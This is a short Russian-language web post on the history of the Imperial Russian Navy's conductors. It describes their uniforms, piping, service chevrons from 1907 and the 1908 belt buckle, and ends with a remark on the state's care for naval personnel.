Кондукторы получили особое обмундирование. Их форма во многом напоминала офицерскую. Кондукторы гвардейского экипажа носили белый кант на воротниках мундиров и пальто, морские артиллеристы и инженеры-механики носили красный кант. С 1907 года для кондукторов ввели нарукавные шевроны по годам службы. На погонах кондукторов нашивался широкий продольный галун. В 1908 году для нижних чинов и унтер-офицеров была установлена бляха к ремню желтого метала с эмблемой Морскою ведомства – двуглавым орлом, наложенным на перекрещенные якоря

Таким образом, государство стремилось создать для нижних чинов и офицеров Императорского флота максимум благоприятных условий для прохождения службы и старалось обеспечить их высокую социальную защищенность.

Категория: Прапорщики | Добавил: oleninanatoly (01.10.2017)
Просмотров: 575 | Теги: ОГП Тема №31, История и традиции службы, в русской армии, прохождения службы | Рейтинг: 0.0/0
Всего комментариев: 0
avatar